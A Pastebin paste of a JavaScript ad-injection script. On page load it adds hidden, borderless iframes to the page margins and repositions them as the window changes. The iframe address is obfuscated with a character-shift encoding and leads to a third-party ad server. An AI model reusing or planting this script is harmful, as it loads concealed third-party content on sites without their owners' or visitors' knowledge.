Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var _sec1_=1568644;
- var _sec2_=1568644;
- var _fname_='25X600.php';
- var _scroll_=false;
- var _maxads_=251;
- var _mintop_=30;
- var _maxtop_=300;
- var _virtualcenter_=250;
- var _SID_ = 0,
- _RID_ = 0,
- _ASL_ = 0,
- _ASR_ = 0,
- _NUM_ = 0,
- _DCW_ = 0,
- _DCH_ = 0,
- _TLM_ = 0,
- _TRM_ = 0;
- window.onDomReady = DomReady;
- function DomReady(fn) {
- if (document.addEventListener && (navigator.appName != "Microsoft Internet Explorer")) document.addEventListener("DOMContentLoaded", fn, false);
- else document.onreadystatechange = function () {
- readyState(fn)
- }
- }
- function readyState(fn) {
- if (document.readyState == "complete") fn()
- }
- function _sDetect_() {
- var tmp1, tmp2, top;
- for (var i = 1; i <= _NUM_; i++) {
- if (tmp1 = document.getElementById("VIF%" + i)) {
- if (i == 1) top = _TLM_ + _mintop_;
- else top = _TRM_ + _mintop_;
- if (navigator.appName == "Microsoft Internet Explorer") tmp2 = document.documentElement.scrollTop;
- else tmp2 = window.pageYOffset;
- if ((tmp2 + tmp1.offsetHeight) < _DCH_) {
- if (tmp2 > top) tmp1.style.top = tmp2 + _mintop_ + "px";
- else tmp1.style.top = top + "px"
- } else {
- top = _DCH_ - tmp1.offsetHeight;
- if (top < _mintop_) tmp1.style.top = _mintop_ + "px";
- else tmp1.style.top = top + "px"
- }
- }
- }
- }
- function _rDetect_() {
- function cM(a, b) {
- return ((a == 0 && b >= 120) || (a == 120 && b >= 160))
- }
- if (_DCW_ != document.documentElement.clientWidth) {
- _DCW_ = document.documentElement.clientWidth;
- var mL = _sML_(_DCW_),
- mR = _sMR_(_DCW_);
- if ((_ASL_ && mL < _ASL_) || (_ASR_ && mR < _ASR_)) _aSMain_();
- else if (cM(_ASL_, mL) || (cM(_ASR_, mR) && _maxads_ > 1)) _aSMain_();
- else if (_NUM_) {
- var tmp;
- for (var i = 1; i <= _NUM_; i++) {
- tmp = document.getElementById("VIF%" + i);
- if (tmp.offsetLeft < _DCW_ / 2) tmp.style.left = ((mL - _ASL_) / 2) + "px";
- else tmp.style.left = (_DCW_ - mR + (mR - _ASR_) / 2) + "px"
- }
- }
- }
- }
- function _sML_(mL) {
- var tmpMin = 0,
- tmpTop = 0,
- tmpBest = 0;
- if (_virtualcenter_) return ((_DCW_ - _virtualcenter_) / 2);
- for (var i = 0; i < document.body.childNodes.length; i++) {
- if (_tN_(i)) {
- tmpMin = document.body.childNodes[i].offsetLeft;
- if (tmpMin < 120) {
- tmpTop = document.body.childNodes[i].offsetTop;
- if (tmpTop >= tmpBest) tmpBest = tmpTop + document.body.childNodes[i].offsetHeight
- } else if (tmpMin < mL) mL = tmpMin
- }
- }
- _TLM_ = tmpBest;
- if (tmpBest <= _maxtop_) return (mL);
- else
- return (0)
- }
- function _sMR_(mR) {
- var tmpMin = 0,
- tmpTop = 0,
- tmpBest = 0;
- if (_virtualcenter_) return ((_DCW_ - _virtualcenter_) / 2);
- for (var i = 0; i < document.body.childNodes.length; i++) {
- if (_tN_(i)) {
- tmpMin = _DCW_ - document.body.childNodes[i].offsetLeft - document.body.childNodes[i].offsetWidth;
- if (tmpMin < 120) {
- tmpTop = document.body.childNodes[i].offsetTop;
- if (tmpTop >= tmpBest) tmpBest = tmpTop + document.body.childNodes[i].offsetHeight
- } else if (tmpMin < mR) mR = tmpMin
- }
- }
- _TRM_ = tmpBest;
- if (tmpBest <= _maxtop_) return (mR);
- else
- return (0)
- }
- function _tN_(n) {
- var tmp = document.body.childNodes[n].nodeName;
- return (tmp == "TABLE" || tmp == "DIV" || tmp == "OBJECT" || tmp == "IMG")
- }
- function _aSMain_() {
- function dF(t, u) {
- var s1 = unescape(NN.substr(0, NN.length - 1));
- var s2 = '';
- for (var i = 0; i < s1.length; i++) s2 += String.fromCharCode(s1.charCodeAt(i) - NN.substr(NN.length - 1, 1));
- return (unescape(s2) + u + _fname_ + "?section=" + t)
- }
- function cNE(NE, AS, S, TM) {
- _NUM_++;
- NE.style.position = "absolute";
- NE.style.height = "630px";
- NE.style.width = AS + "px";
- NE.style.top = TM + _mintop_ + "px";
- NE.scrolling = "no";
- NE.id = "VIF%" + _NUM_;
- NE.frameBorder = "no";
- NE.MARGINWIDTH = 0;
- NE.style.backgroundColor = "Transparent";
- NE.allowTransparency = "true";
- NE.src = dF(S, AS)
- }
- var tmp;
- var NN = "kwws%286D22dgv51phgldvkdnhuv1frp2lg23";
- if (_SID_) {
- clearInterval(_SID_);
- _SID_ = 0
- }
- if (_RID_) {
- clearInterval(_RID_);
- _RID_ = 0
- }
- for (var i = 1; i <= _NUM_; i++) if (tmp = document.getElementById("VIF%" + i)) document.body.removeChild(tmp);
- _ASL_ = 0;
- _ASR_ = 0;
- _NUM_ = 0;
- _DCW_ = document.documentElement.clientWidth;
- _DCH_ = document.body.offsetHeight;
- var mL = _sML_(_DCW_),
- mR = _sMR_(_DCW_);
- if (_maxads_ && (mL >= 120)) {
- if (mL < 160) _ASL_ = 120;
- else _ASL_ = 160;
- var NEL = document.createElement("IFRAME");
- cNE(NEL, _ASL_, _sec1_, _TLM_);
- NEL.style.left = ((mL - _ASL_) / 2) + "px";
- document.body.insertBefore(NEL, document.body.firstChild)
- }
- if ((_maxads_ > 1) && (mR >= 120)) {
- if (mR < 160) _ASR_ = 120;
- else _ASR_ = 160;
- var NER = document.createElement("IFRAME");
- cNE(NER, _ASR_, _sec2_, _TRM_);
- NER.style.left = (_DCW_ - mR + (mR - _ASR_) / 2) + "px";
- document.body.insertBefore(NER, document.body.firstChild)
- }
- if (_NUM_ && _scroll_) _SID_ = setInterval("_sDetect_()", 100);
- _RID_ = setInterval("_rDetect_()", 500)
- }
- if (_maxads_ > 2) _maxads_ = 2;
- if (!(navigator.userAgent.match(/(iphone|ipod|android|opera mini|blackberry|nokia|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|kindle|mobile|pda|psp|treo)/i))) window.onDomReady = _aSMain_();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement